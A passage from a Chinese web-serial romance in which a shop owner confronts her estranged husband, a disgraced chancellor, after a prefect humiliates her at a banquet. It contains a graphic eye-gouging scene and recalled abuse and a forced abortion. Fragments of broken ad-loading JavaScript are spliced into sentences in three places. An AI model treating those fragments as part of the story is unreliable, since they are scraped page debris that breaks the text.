阮若苦口婆心说:“人家不管大小可是个官儿,铁饭碗呢。喜欢他的姑娘也不少。掌柜的你真该好好考虑考虑,机会转瞬即逝啊。” 其实阮若一直纳闷。耿婳为什么会如此冷傲,连官员都不屑一顾。不管小吏校尉,还是刺史老爷,在她眼里就跟尘埃一样。 平时不论做生意还是寻常生活,耿婳都比其他人独具慧眼,别具一格。什么稀奇珍宝官场见闻都吸引不了她。 这种胆识,这种魄力,有时候阮若真怀疑…… “掌柜的,你娘家是不是有什么背景?”她小声凑近问,心里脑补出一场千金小姐离家出走经商致富的爽文戏码。 耿婳像看傻子一样看她,满脸写着无语。 阮若还两眼清澈地望着她,好像认真请教问题的学生。 “滚开,干你的活儿去。”耿婳朝她翻了个白眼。 “噢。”阮若悻悻道。 果然,从耿婳嘴里撬出过往比过蜀道还难。或许正是因为这股无人知晓身份的神秘感,让她成了扬州城无数男女艳羡憧憬的月光。 “对了,紫殷那孩子呢?”耿婳上楼前随口问了句。 “不知道啊,一打烊就不知道钻哪儿去了,玩心真重啊!”阮若气道。他那个人溜得洒脱,害她一人苦苦加班。 “那你别干了,留着让他收拾!”耿婳命令道。 “哈哈太好啦!谢谢掌柜的!” 阮若就等她这句话呢。 33. 033 魏巍被耿婳拒之门外后,于晚风中呆滞了许久。玄海左右劝他,才把他劝回去。 离开吉庆街时,他们走了一条僻静小巷。 巷子几处院落门洞打开,院内长满杂草,一看就是许久无人居住的废宅。 他此刻无心考察城里巷落布局,满脑子都是耿婳刚才冷淡疏离的表情。 她只把他当成寻常路人打发,甚至根本没有认出来他是谁! 再一想到她和巡城校尉嬉戏打闹的样子,直叫人火大!! 魏巍眉头紧锁,心里酸水荡漾,不由脚步不稳,跌跌撞撞走偏了路。再一抬头,他已经走进一条死胡同。 旁边腐朽半开的破木门里,传来了哀求哭喊的声音。 “爷爷饶命,爷爷饶命!小的再也不敢了!” 这声音很熟悉,是牛二! 魏巍示意玄海噤声,而后往破败不堪的院子里望去。 黑衣双马尾少年拔出腰间银刀,直接朝牛二眼睛剜去。 随着牛二声嘶力竭的惨叫,两个圆滚滚血糊糊的珠子掉落在地。 牛二捂住脸痛苦地哀嚎着,直疼到满地打滚,最后晕死过去。 紫殷扯下他的腰带,细细擦拭刀刃,而后温和地自言自语:“给你点颜色瞧瞧,你要是一睡不起,那就下辈子见喽。” 远处的魏巍眯眼观察这个来历不明的少年,继而默然离去。 回府后,他连喝了三杯黄山毛峰才隐隐化去酸涩和不畅。 “玄海,你去查一下婳坊小厮的底细。” 她没认出他这个正牌夫君也就算了。怎么周围还全都是些心甘情愿保护她、为她卖命的野男人? 魏巍心事重重,饭没吃好,浴没沐好,早早更衣上床,两手垫在脑后,望着床幔出神。 眼前先出现一个荡秋千的耿婳,又出现一个敲算盘的耿婳,而后出现一个摔门摆脸的耿婳。 慢慢的,他满脑子全是耿婳,可他怎么想都想不通她为何变化如此之大。直想到后脑勺又疼又重,他才在自然的困意中进入梦乡。 梦里,他又遇见了耿婳。 耿婳不仅没理他,还和王旸、紫殷打成一片,他们三个一起给他摔门,把他拒之于外。他跪在外面哭着敲门,耿婳就是不开。 伴着梦里的痛苦与无助猝然醒来,他额上全是冷汗。 看一眼漏刻,正是卯时。看来他已经熟悉了扬州城湿润多雨的环境,作息也调整好了。 他梳洗后去书房写今日见闻,圣上有令每月要他送回密信,认真汇报扬州各方面情况。 魏巍之前想要迁都的心随着再遇耿婳而变得愈发坚定不移。可一落笔,白宣上又出现了耿婳妩媚的笑脸,他神思遨游至婳坊,久久不能平静。 啪一声放下紫毫,他起身站在铜镜前整理衣衫,而后重新束发,手指扳着黑幞头一寸一寸地挪着,直到戴正为止。 玄海见他这般在意仪容,瞬间明白了。 他上前道:“相爷,方才刺史府来信,说要请您去城郊落英谷游玩。” 魏巍神色一凝,板着脸道:“就说我病了。” “可是人都到正厅等着了,刘长史张别驾都在,您就别推辞了。”玄海不想主子消沉在耿婳身上,故而如此说。 感受到魏巍冷冽的目光,他又补充道:“外面天气不错,咱们出城转转再去婳坊也不迟啊。” 魏巍换了身官袍去了正厅。他淡淡瞥了一眼迎上来的王绅,继而礼貌客气地与刘长史张别驾作揖问候。 这立刻给官场敏锐的王绅发去了危险的信号。 从魏巍来扬州起,他一路小心翼翼伺候招待,没有半分得罪。如今为什么被魏巍冷落了? 王绅揣着满肚子疑惑去了落英谷,这里是官僚的后花园,环境清幽雅致,最适合流觞曲水作诗吟唱。 王绅几次上去搭话,魏巍都置之不理。一次是巧合,两次三次就是有意为之了。 王绅心里打鼓,汗流浃背,一时不知道如何是好。 刘长史看在眼里,立刻替刺史大人转移话题聊起了西街的商业改造,恳请魏巍赐个方案,给个参谋。 一聊正事,就少不了酒桌上那一套。 刘长史实际想请魏巍去灵云楼详谈,到时候在他面前好好表现。嘴上却说想安排些商户共商此事,了解了解基层百姓的想法。 他提前做过调查,听京城官吏说他为人傲上而不辱下,一心为民为国。既然不鸟刺史王绅,那就让这些小老百姓去当传声筒吧。 魏巍果然答应下来。时间约的明晚。 刘长史这才与他攀谈起诗韵,气氛和缓了不少。 直到黄昏,魏巍才应付完这些同僚,一回府就沐浴睡下,去补这两日劳累落下的觉。 下午做生意的时候,耿婳就接到了刺史府传来的信儿。说明天晚上去一趟灵云楼,商议西市商铺的事。 全然一副命令的口吻,容不得半分置喙。 耿婳立刻吩咐阮若:“去隔壁刘掌柜那儿问问,看他收到没有。再去钱掌柜那儿跑一趟。” 阮若马上动身,不一会儿就回来报信:“都收到了,看来是真要商议,不是寻隙报复。” 耿婳沉默着若有所思。 紫殷直接道:“王绅那厮鼠肚鸡肠,怎么可能轻易放过。这次十有八九是个局,还是别去了。” 阮若不以为意地朝他道:“没关系,有王夫人罩着,他不敢怎么样。而且你没发现吗,挑衅过掌柜的的男人,只要被教训一次就再也没出现过。比如那个牛二,还有前不久的王五、李六、赵二麻子……” 耿婳不想听她叽叽喳喳,转眼去了楼上。她怎么可能会不去呢? 事关她的生意事业,天塌下来也得去! 耿婳打开衣柜底层塞着的木匣,里面安安分分躺着崭新的银票。 这是三年前杨氏送的封口费。她本来不屑拿这笔钱,可被欺负成那样,怎么能不让她家付出代价? 虽然这些银两对魏家九牛一毛,但对她来说却是一笔巨资。 不到万不得已,她不会去动魏家给的钱。尤其是现在这个节骨眼儿——魏巍和她同处一城,如果拿他施舍的钱去交租金,岂不是又与魏巍有了联系? 即使魏巍不知道银票的存在,可心理层面耿婳始终接受不了。 她好不容易从他的牢笼里逃脱,怎么会轻易陷进去? 这次宴会到底会不会碰到魏巍?她不知道,她也不想知道。因为她最关心的是自家婳坊的生计,与那个男人赴宴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 与否毫无关系。 她明白这一点,所以不管紫殷阮若再三劝告,她还是会去。 “你们放心,王绅不可能占我便宜,他早就被他娘子警告过了。”出发前,她再三权威两人。但是紫殷和阮若还是跟着去了。 “他不会占你便宜,不代表他不会变相羞辱人,刁难人。” “是啊,掌柜的。这回可是你求他办事,万一他在租金上使绊子怎么办,多收钱怎么办。” 这倒是耿婳颇为担心的。 可就算时间倒退,她也不会委曲求全,为这种肮脏的老男人献身! 阮若和紫殷都了解她的性格,所以才愿意为她效命。她要是为了一点好处就忍辱谄媚事权贵,那她就不是耿婳了。 这次与其他商户一同赴宴,共同商议西街商铺的相关事宜。人多势众,她不带怕的。 与以往会客不同,王刺史包了整座灵云楼,还命人装饰洒扫,挂上崭新的华灯,换了三扇素雅屏风摆在雅间,还专门请了城里最好的伶人演奏。 如此用心良苦,一看就是下了血本。可见王绅有多重视这次城建规划——这是向魏巍邀功表现的好机会。 耿婳带紫殷和阮若到青云楼时,被要求同其他商户等在一楼,二楼以上按照品阶分配官员,刺史长史等人则陪同魏巍坐镇顶楼。 主打一个官商有别,尊卑有序。 耿婳热情招呼着同行掌柜,应付一圈找了个清闲角落坐下。 摆在桌上的只有一壶清茶和一盘花生米。 “好歹是正六品,王绅这厮真小家子气。”阮若悻悻夹起一粒花生米嚼了两下就呸呸朝地板吐。 “难吃男吃!连盐都舍不得放!” “你以为是来吃饭的?”耿婳抬抬下巴,示意阮若看过去。 一楼的掌柜们穿得正经,坐得板正,有的甚至还备了礼品。一股铆足了劲钻进西街开店的架势。 耿婳和他们不同,上次她给王夫人办事周全,揪住了王刺史的小辫子,这才便利地拿下了西街核心地段。 今天她来,就是为了谈租金。涉及到核心利益,王夫人必然和王绅一条心。 这场谈判自然不会顺利。 耿婳正发愁呢,忽而听到外面辘辘车轮声。伴随着店小二谄媚的迎接,一群官老爷舔着罗汉肚跨过了门槛,各个穿着官服,捋着胡须,摆足了架子。 商户们齐齐起身行礼。 大奉朝商品经济发达,对商人的限制宽松了很多,允许骑马允许坐轿。王绅亲自做东私下会客,提前发话免除席间的跪礼。 这是卖给各家掌柜一个大人情,叫他们明里暗里多记着点自己的好,这样以来应付魏巍的考核方可万无一失。 商户们纷纷站立作揖,把角落的耿婳遮挡住。她稳稳坐在椅上,指腹有一下没一下地点着桌面。她起步起身根本不重要,反正她又看不清。 紫殷在人群缝隙中张望,转而对耿婳道:“放心掌柜的,那个司马没来。” 耿婳立刻歪头看他,不满地说:“我又没在意他,你跟我说这话是几个意思?” 他垂下眼,讪讪道:“噢,紫殷再也不敢了。” 随意猜度她的玲珑心是很危险的。耿婳没搭理他,小口嘬了口茶水。 34. 034 魏巍今天罕见迟到。 他昨夜通宵修正文书染上了风寒,再醒来就误了时辰。 原本是计划之外的小失误,他自己无甚在意。只是这桩小事放到官场上难免被人揣测。 “魏大人怎么迟了,这是不满意扬州城委婉暗示?还是故意摆架子?”王刺史心里没底,拉过刘长史说悄悄话。 “大人放宽心,想必魏大人是有急事耽搁了。” 刘长史的安抚也有道理,王绅是个心大的,不至于为这点小事就心思不宁。 主角来迟了也好,他先收拾收拾配角,找耿婳那个死丫头算账! 耿婳被单独唤上顶楼时,紫殷等人无不为她捏把汗。 官场酒局风月事,丝竹美色多做陪。单单把花枝招展待字闺中的耿掌柜叫上去,这是要干什么,众人心知肚明。 有些嫉妒心强的同行看热闹不嫌事大,已经在用玩味的眼光打量她了。 “掌柜的,我陪你去!”紫殷道。 侍从为难道:“刺史大人有令,只请耿掌柜一人。” “听话,留下。” 耿婳甩下话,提裙随人上楼。反正地盘敲定了,凭证也签了,大不了多出点租金。王绅那个蠢材,难道还能把她怎么样? 进了顶楼的雅间,上首位的王绅早就跪坐端正,一副睥睨众生的样子。他身旁的次席无人。 “民女见过王大人和诸位大人。”她福礼时曲线婀娜,丰腴的身段令人浮想联翩。 王绅看得眼都直了,心想真是仇人眼里出西施啊。他怨念稍稍降了些,可还是咽不下这口气。非得让这小妮子当众下不来台,他心里才能舒坦。 “耿掌柜,好久不见。”他皮笑肉不笑地说。 “刺史唤我来叙旧?” 王绅笑得跟弥勒佛一样:“何止叙旧,其实也有事想请耿掌柜帮忙。” 他没有赐座,耿婳仍站在原处,在一众官僚的注视下显得格外突兀。 这就是他的求人帮忙的态度? 耿婳知道准没好事,挑眉笑道:“小女子才疏学浅人微言轻,自身都不得周全,哪儿能帮上刺史大人啊。” “耿掌柜过谦了。本大人无需你处理公务,只请您帮忙接待新来的魏大人。” 一提到魏巍,耿婳立刻戒备起来:“为何是我?” “魏大人自京城远道而来,最爱雅乐歌舞,我又岂能不尽地主之谊。耿掌柜倾国倾城,是扬州城一顶一的美人,怡红楼头牌到了都不及你半分。这份美差,也只有耿掌柜做得。” 耿婳垮下脸来,眼冒火星。 “魏司马一到,还请耿掌柜歌舞助兴。最好再弹个琵琶,大人最好这口。虽是不情之请,还请耿掌柜为了我,为了在座同仁,为了扬州百姓接下吧。”王绅站起来向她拱手,一副为国为民劳苦功高的样子。 “耿掌柜这回把事办成,西街的租金我们也好商量。”他见耿婳冷着脸,又开始利诱。 这话明晃晃摆在台面上,在座的官吏一言不发,心里却洞察得一清二楚。 王绅是想羞辱她。 先拿耿婳与青楼女子比较,讽刺她杨花水性。又搬出魏巍压人,最后上升到百姓层面逼得她下不来台,退身步都没留。 这套赶鸭子上架的道德绑架戏码被老练圆滑的王绅演绎得完美无缺。 耿婳如果答应,就是自比娼.妓,以色侍人,丢了颜面不说,还要平白被羞辱。 耿婳如果拒绝,就是以下犯上,要受责的。王夫人要是心疼耿婳,王绅就甩锅给魏巍。好一招借刀杀人。 今天请那些商户来无非起个热闹捧场的作用。刺史大人真正想整的,只有耿婳一人。 “耿掌柜放宽心,这事要办好了,哄得魏大人舒心,少不了你的好处。”王绅适时说道。 这话如同火上浇油,专让耿婳难堪。 反正耿婳不知道魏巍身份,一旦得罪了名亡实存的丞相,绝对没她好果子吃。而且魏巍也不知道耿婳脾性,到时候她乖戾起来,必会扫人兴致。 他确认了信息盲区,知道耿婳在意西街租金,这才敢给她下套。没想到耿婳这么快就钻了进来,看着她恼火又无助的眼神,王绅心里直呼痛快。 “孰重孰轻,耿掌柜可要想明白了。”他再次催促,优哉游哉地说,“得罪了魏大人,麻烦可就大了。” 耿婳一双水眸死死盯着王绅那张大饼脸,似乎想从他这里确认一件事。 “是魏巍命你做的?” 她的声音不大不小,却冷静得可怕。众官员一听,无不心惊胆战。敢直呼魏相名讳,实属僭越逾矩,大逆不道! 王绅即刻道:“放肆!敢对魏大人无礼!” 耿婳看着他装模作样的姿态直接笑了。 她在这世上无亲无故,无忧无虑,她甚至连死都不怕,还会害怕得罪魏巍? 她早就得罪过他无数次了,还差这一次? 耿婳眉峰一挑,扬起下巴高声问:“这是他的意思?是他叫你为难我的?” 王绅被她的气势吓得一愣,旋即火气上涌,气得颅顶充血。还魏相为难你,你以为你是谁?不入流的小小商女,你配吗你?! “是魏大人的意思又如何?你还敢不从?!”王绅一拍桌案,盛气凌人。 在座的官吏纵然对他逼迫民女的行为不忿,却怕波及自身,不敢劝阻。张别驾实在看不下去,刚想站出来替耿婳说话,就收到刘长史“少管闲事”的眼神。 下人给耿婳端过去酒盏。王绅不客气道:“喏,一会儿魏大人到了先去敬酒。敢有半点怠慢,别说魏大人惩治你,本官也绝不留情!” 王绅手指摸索着八字胡,龇着一口黄牙,发号施令的模样宛如魏巍的狗腿。 耿婳望着漆盘里的酒杯,下颌微动,表情冷静得可怕,眼神却犀利无比。 雅间内静得发死,仿佛空气都凝滞了一般。 张别驾忍无可忍,起身要打圆场,这时雅间的门“吱呀”被打开,魏巍迎面而入。 众人目光齐齐看向他,紧张僵持的气氛忽而一滞。 王绅变脸比翻书还快,刚还凶神恶煞的贼相变成一团和气,眼睛笑成一条缝,客客气气对魏巍行礼。 上官给下官行礼,还真是少见。其他人悉数起身,纷纷作揖。 分明还把他当成丞相供着! 众人礼毕,不敢坐下,皆敛声屏气偷偷关注着魏巍。 黑幞头戴得端正,绯色官袍不见一丝褶皱,他身量高大,明明是个文人却透着器宇轩昂不怒自威的气质。 直到注意到他的表情时,众人纷纷错愕。 平日不苟言笑的神情有所松动,凤眸怔然望着耿婳。 耿婳穿一套红黄相间的齐胸襦裙,云鬓佩着绯色绢花,披帛软绵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绵垂挂在臂弯处。她手握一杯酒,猩红的双眼隔着水雾盯他。 “耿婳!”他疾行过去,双手握住她的肩,“怎么了?婳儿,你……” 耿婳右手一扬,泼洒而出的酒水瞬间席卷了魏巍的眉眼和鼻腔。 众人瞠目结舌,室内安静得闻针可落。 刺激的液体划过面颊,魏巍眯了眯眼,忍着鼻腔和眼眶的不适,狼狈地以手拂面。他压下惊愕和不解,朝耿婳露出笑容。 “婳儿,是我。”他耳语道。 她仍绷着脸,眼里血丝密布,盛怒之下竟是疏离和冰冷。 魏巍微微翘起的嘴角僵住,久别重逢的雀跃被她怒意未消的表情杀得偃旗息鼓。 王绅一看这局势,心中大喜!这次她得罪了背景深厚的魏巍,就算夫人也保不住她! 他站起身,装模作样道:“大胆!敢对魏大人无礼!你这小蹄子——” “住口!”魏巍大喝。 这一声喊傻了王绅,也使一众官吏愕然楞在原地,大眼瞪小眼。场面尴尬到连一向圆滑的长史刘瑛都说不出话来。 王绅两股战战,知道自己说错话。这才打量着这对俊男靓女,慢慢纳过闷来。 涉及儿女私情,哪里轮得着外人撒野。 无数双眼睛静悄悄关注着他,魏巍面上闪过微不可查的慌乱,随后握住耿婳的手拉她去了隔壁。 扣上隔扇门,明辉亮堂的外间隔绝在外,隔扇内昏黑静谧。 “婳儿,你怎么了?” 魏巍眉头微蹙,眼底一片湿热,鼻尖酸涩,极力压制的情绪总算得到了宣泄。三年了,日夜入梦的妻子失而复得,他有太多的话想说,太多的问题想问。 他忽略掉刚刚被泼酒的不愉快,耐心等耿婳平息完不知何处来的情绪。 过了许久,他双手拂过她的薄背,刚要把朝思暮想的人儿拥入怀里,胸膛就碰到一个硬邦邦的小拳。 “松开。”耿婳冷声警告。 魏巍哪里肯松手。见他没反应,她以拳为尺,手劲不断加大,生生拉开与他的距离。 抵触感不言自表。 魏巍难以置信,眉头微蹙看向她,一双手仍小心环在她后腰上。 耿婳昂起头,不卑不亢道:“魏大人,请你放开。” “婳儿,你这是何意?”魏巍朝她讨好地笑了两下,声音又轻又柔,生怕吓到她。 耿婳漂亮的眼眸闪着寒光,肺腑里愤恨交加,望着那张以前再熟悉不过的脸,她的胃里泛起一股强劲的呕意。 惺惺作态,莫名其妙! 真爱之人好不容易回到身边,魏巍自然忽略了她冷冰冰的表情,转而打量她的衣着。 玉颈和锁骨之下,明晃晃袒露着大半个雪白胸脯。她就这样在大庭广众下面对那些陌生的官员。 魏巍低声责备:“那么多外人,怎么穿成这样?” 耿婳冷若冰霜:“魏大人说这话,就不妥了。大奉民风开放,袒胸露乳的女郎比比皆是。您管天管地,还管得着民女穿什么?” 她态度轻慢,好像根本不认识他。 魏巍忍着失落,闷声说:“我是你夫君,怎么管不着了?” “夫君?” 耿婳直接笑出了声。 竟然还有脸提他们是夫妻,她恶狠狠得讥讽:“您可真是个好夫君啊,和狗官一块欺负自己夫人!” 35. 035 耿婳设想过无数次与他相遇的情景,她原本想假装不认识他,可真到面对面的时候,心里却坦然了许多。 论情理,她一点也不欠他的。嫁给他的那段日子,她的行为磊落、问心无愧,反而是他有愧于她。 该谢罪躲闪的应该是他魏巍才对。 她再也不会畏惧这个有口无心的伪君子。 耿婳对上他的眼神,仰头笑道:“当面一套背后一套有意思?” 一边和王绅一个鼻孔出气暗戳戳整她,一边假惺惺过来安抚人?他是何居心? 魏巍稍稍敛眉,不解道:“婳儿,你说什么呢。” “不懂?”耿婳冷笑,竟然还敢装蒜。 “这天底下还有丞相大人不懂的事?”她又轻飘飘道,“哦,我忘了,你早不是丞相了。” “自重,魏司马。” 耿婳瞥了眼他不安分的手臂,又翻起眼皮望他。 “魏大人,这里不是青云楼,我也没喝醒酒汤,请你自重!” 最后四个字被她咬得格外重。 耿婳锐利的目光如细密的银针刺痛着魏巍的神经,他压下疑惑,轻轻松开了她。 耿婳仰着头,旁若无人地离开房间,她脚下踩风不想在这里多待一秒。 刚出来没走几步,就听到一阵急促的脚步声。 阮若和紫殷慌慌张张急奔上来,与她打了个照面。 “掌柜的!” “掌柜的你没事吧!” “有什么好担心的。”耿婳没心没肺地说。 可她的脸色出卖了她。 紫殷和阮若刚想细问,却看到魏巍从室内出来。 耿婳皱着眉头回身看他一眼,魏巍迅速垂下眼睫,进了寂静到发死的雅间。 回去路上,车厢比雅间还安静。 阮若八卦心思重,过了好久小声问她:“掌柜的,你认识魏司马?” 耿婳支着头,阖目歇息。 “我看他好像有点怕你。”阮若又说。 耿婳眼睛都没睁开:“闭嘴。” 阮若悻悻地“哦”了一声。 结合刚才魏司马寞落的眼神,她立刻脑补出一场苦情大戏。 紫殷驾着马车,神思凝重。 一路无言,马车刚停下耿婳就掀帘跳下来,没等阮若和紫殷,摸黑提裙去了二楼闺房。 她没有沐浴更衣,直接趴到架子床上。 过了一会儿,眼睛渐渐适应了黑夜。隔着月色,她看见了墙上挂着的母亲的画像。画像旁的窄几放着一把陈旧的琵琶。 耿婳在黑夜里瞪着一双空灵的眼睛,默默观察着母亲留下的遗物。 这把琵琶多年未动,上一次弹奏还是在…… 相府。 记忆的闸门被打开,尘封在心底的往事再次袭来。 三年前,相府,夜里,魏巍…… 她倏地瞳孔一震,浑身僵冷,那种被撕碎身体般的痛感条件反射似的侵袭了她的感官。 一幕幕不堪回首的记忆又清晰浮现在眼前:被嫌弃,被侵占,被捆绑,被堕胎…… 她又一次被痛苦侵蚀,抱头撞着墙面,试图把这些不愿记起的伤痛回忆甩出去。 咚咚的闷声不知持续了多久,直到头部的生理疼痛盖过心底的难受,她才慢慢瘫下身子,抱膝蜷缩到床角,大口大口地喘气。 黑夜里,她一双眼睛睁得又大又圆,空洞而无神。魏巍时不时在眼前晃来晃去,怎么甩也甩不开。 她的指甲掐进茵褥,表情变得狰狞,久久无法平静。 被月光照白的窗棂上忽而闪过一道熟悉的人影,而后出现规律地敲窗声。 “谁!”她警觉道。 紫殷的声音出现在窗外:“掌柜的,你还没睡吗?” “没有。你有事?” “我是怕你有事。感觉你回来有点不对劲。” 之前她心情不好,他就喜欢倒挂在窗外陪她聊天。有时候一守就是一宿。 耿婳哼了一声,“大惊小怪!我能有什么事,还不回去睡觉!” “噢。”紫殷知道她在撒谎。 即便朝夕相处两年多,他和阮若都对她的过去一无所知。 另外一边,雅间的氛围随着魏巍再次进入而变得更加死寂。 “公然调戏民女,你几个意思?”他开门见山质问王绅。 为官多年,他素来稳重圆滑,从不会当众劈头盖脸地训人。所以偶尔当众发飙,情景实在可怖。 王绅面红耳赤,一张肥脸胀得和猪肝似的。他虽然官级比魏巍高,但后者更得天子宠信。他哪敢得罪? “卑职该死,卑职不知大人和耿掌柜认识。卑职要是知道,就算再借一万个胆,也不敢为难耿掌柜啊。” 要说能屈能伸,还得是王绅。说完,他又厚着脸皮道:“卑职只是请耿掌柜代表商户为大人敬酒。也是怪了,这么大的荣誉,没想耿掌柜她那么抵触……” 他讲话是那种委委屈屈的小蚊子声,听着有理有据,还试图把屎盆子往耿婳头上扣。 刘长史赶紧接话:“卑职可为王刺史佐证,方才只请耿掌柜敬酒,并无调戏逗弄。” 张别驾没吭声。其他官吏纷纷证明,为王绅打圆场。 即便有包庇王绅的嫌疑,但耿婳不想给他敬酒才情绪爆发也是真的。 魏巍难以接受这个事实。 “耿掌柜既然与魏大人相识,想必另有隐情才冒然失礼,还望大人宽恕。” 刘长史这话说得高明,分分钟把注意力和黑锅都转移到耿婳这边。既有为王刺史撇清关系的意思,又在潜意识里询问他和耿婳的关系。 “本官与耿婳在洛阳相识多年。但凡有人敢羞辱她,那就等同于羞辱我。”魏巍看向王绅,“你可记下了?” “卑职谨记。”王绅点头哈腰。 “若有再犯,扬州城本官一天也不会待!” 他甩袖而去时,才意识到自己假公济私般的要挟了别人。 好好的宴席闹了个不欢而散。 整整一宿,魏巍翻来覆去睡不着,睁眼闭眼全是冷着脸怒视他的耿婳。 重逢的喜悦早已不再,取而代之的是满腹疑惑和愁思。 她为什么会这么讨厌他? 他思来想去,仍不明白,最后脑子像锅炸开的米糊,越来越乱。 就这样枕臂躺了一夜,第二日他起床用膳,玄海说刺史差人送东西过来。 王绅送来的是一张租金凭证。上面许诺允许耿婳在西街开店,且免去全部租金。他甚至签字同意。 不得不说,王绅虽然为人一般,但深谙为官之道。犯了错主打一个跪得快,能混到刺史之位也是有缘由的。 王绅没把这张字据直接给耿婳,而是转到他手里。不仅表歉意明忠心,还给他制造了机会。 亏他煞费苦心。 魏巍冷哼一声,他对此人好感有限。头一回当众失控,在官吏同僚中指着鼻子呵斥他。 他的婳儿估计就是为了谈钱才会去那种酒局的。 他一时不知是喜是忧。 他迫不及待想再去见她,可一想起昨晚她的抗拒排斥,又担心带给她困扰。 魏巍连吃饭的心思也没了。 玄海适时道:“刺史府的人还说,也送东西到婳坊了。” 魏巍握着这张薄薄的纸张出神,忽而想到什么就要起身出门,还没跨出门槛,他又折返回来。 这下把玄海整懵了,主子不想去婳坊了? “大人,这又不去——”他话还没问完,就看见魏巍对着铜镜细细打理鬓发。 阮若打开婳坊的门营业,先看到地上的箱子。上面印有刺史府的字样,不知在外面放了多久,愣是没人敢碰。 阮若打开箱子,立刻闪瞎了狗眼。她咬了一下手背,哎呦疼疼疼! 耿婳赖床好一会才起,此刻懒洋洋对镜梳妆,她画眉的功夫就听窗外传来阮若大声的喊叫。 “喂!掌柜的!刺史府送来好几箱东西!” 耿婳眉峰一凛,王绅来送礼?多半是魏巍指使的。 多管闲事! 耿婳不知道他安得什么心,只是觉得他有病。 窗外不时传来阮若和紫殷嘿咻嘿咻搬箱子的动静。耿婳在楼上若无其事地描眉,一会儿又听见阮若的喊叫:“魏、魏大人?!” 耿婳描眉的手一顿。接着,她听见了三年前再熟悉不过的声音。 “你家掌柜的可在?” 魏巍穿着常服,笑得温润清雅,没有一丝官场做派,反而更像巷口的邻家哥哥。 阮若望着他傻笑,嘴角翘得越来越高。 “请问姑娘,你家掌柜的可在?”她好像没听见,魏巍就又重复问。 紫殷迈着大步子走出来,朝魏巍道:“我们掌柜不想见你!” 他说完,就把阮若推进店里。 楼上的耿婳闻言,心里暖洋洋的。她没向紫殷多说,他却明白她心中所想。 魏巍被他这语气逗笑了,“你是掌柜的什么人,敢替她做主?” 他以陈述的语气说出略带疑问的话,颇有看透谎言的讽刺之意。 紫殷被他这股自然吐露的傲劲气得不轻,脑子一热,口不择言道:“不瞒你说,我是与她分忧解难、同舟共济之人!” 楼下的人不知被偷窥,倚窗的耿婳默默笑了。这孩子平时机灵得很,怎么这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会儿又傻又直。 魏巍看了他一会儿,说:“你在撒谎。” 他审视人的时候,表情异常平静,久历宦海的气场让紫殷浑身不自在。 门外已经聚集了不少看客。紫殷骑虎难下,硬着头皮说:“你要是进去也行,得先告诉我,你是掌柜的什么人?!” 耿婳手指握紧窗子,心脏如敲鼓般猛烈跳动。她也不知道,为什么紧张之余会有一丝恐惧。 “她是我的……”魏巍顿了顿,“故人。” 静静听他说出“故人”一词,耿婳松了口气,心里踏实了些。 紫殷被逼得没话说,魏巍笑眯眯道:“烦请让路。” 当着众人的面儿,身份居上的官爷饶是对他这个低微的小厮礼貌有加,这让紫殷颇感压力。 此时已经有人对他指指点点了。对话间,这个欺负掌柜的男人不知不觉赚足了面子里子。 紫殷不服气也得承认,这场男人间的博弈里对方赢得很体面。 魏巍朝他笑了一下,好像在逗弄孩童一般,随后跟进了婳坊。 刚刚开门做生意,却有不少女主顾光临,魏巍和玄海进去显得有些突兀。一楼虽是卖货的地方,但也有招待宾客落座的位置。 魏巍坐在不起眼的角落,静静打量她苦心经营的店铺。 紫殷环臂斜倚着楼梯扶手,默默打量魏巍,丝毫没有招待客人的意思。 玄海敲敲桌面,朝他道:“茶呢?” 紫殷笑得阴沉:“我们又不是饭馆,不招待茶水。” “你!” 魏巍手一抬,眼神示意玄海“不必”。 玄海偃旗息鼓,瞪了一眼这个没眼力见儿的小厮,没再发作。 紫殷压低声音,警告道:“你们要是识相,赶紧打道回府。我家掌柜的性子烈,当心碰一鼻子灰!” 魏巍岂会不知这个弟弟自作聪明的小心思,理都没理他,温和地看向阮若。 阮若招待完客人,发现魏巍在求助她。 他把想见耿婳的意思又说了一遍。 “在在在!我这就帮你叫她!”男色在前,阮若点头如捣蒜,瞬间把耿婳和紫殷卖了。 “有劳姑娘。”魏巍笑道。 阮若一溜烟跑上楼,把楼梯踩得哒哒响,“掌柜的,掌柜的!魏司马来找你了!” 阴魂不散!耿婳暗骂了一句。 “撞见鬼都没听你大声叫唤过,再叫就滚出去!” 阮若饶是被她凶狠的表情吓到,心道莫名其妙!要是换成别人敢这样呲哒她,她早就动手了。可对方偏偏是每月给她发工钱的人。 阮若忍着恼火:“我看你还是快点吧,别让官老爷等急了。” 耿婳冷笑:“既然是他登门拜访,那就该客随主便。” 她打发阮若出去,继而慢悠悠描眉,涂了铅粉又擦了唇纸,挽了最时髦的发髻,最后换了三四套衣服,又在铜镜前磨磨蹭蹭照了许久。 等街道外传来行人吵闹声,她才慢悠悠出了闺房。 另一方面,阮若领魏巍去了楼上。 他坐到二楼正厅饭桌的首位,那是平时耿婳吃饭坐的位置。 “我家掌柜的在屋里梳妆呢,一会儿就出来啦,您稍待。”阮若给他泡了壶新茶。 “多谢。” 她会为了见他特意打扮,魏巍暗暗欣喜。昨晚闹得不欢而散,他一度以为她讨厌他。看来是他想多了。 昨天,不管是耿婳还是他,都太冲动了。魏巍尽可能地安慰自己,这次见面一定不能再惹她生气。 他耐心等候耿婳,静静打量着二楼布局。这里比楼下简陋不少,除了他所在的饭桌,另有杂物间和一个寝室,最里面才是她的闺阁。发黄的墙面和陈旧的窗棂证明这个铺子有些年岁。 她或许手头有些紧,只舍得装修楼下的店面。没关系,他可以接她回家,免得在这里受苦。 魏巍暗暗盘算,心里构思着一会儿见面时要说的话。 耿婳出来的时候,魏巍已经等了一个时辰。他背对着她,正静静观赏墙面上的老旧字画。 耿婳收拾好心情,平静笑道:“魏大人这是看上我家墙面了?” 魏巍回头。 她的妻子打扮得过于妖娆妩媚,相较昨日有过之而无不及。只是打扮得再花枝招展,也挡不住眼神里的冰冷凉薄。 “魏大人远道而来,有失远迎,不知找民女何事?” 她说话过于官方,脸上挂着营业般标准的笑容,好像他们之间什么都没发生过一样。 魏巍眼里闪过错愕,努力压下情绪,就这样不解地看了她好一会儿。 直到他失落的表情再难掩饰,也没见耿婳松动。 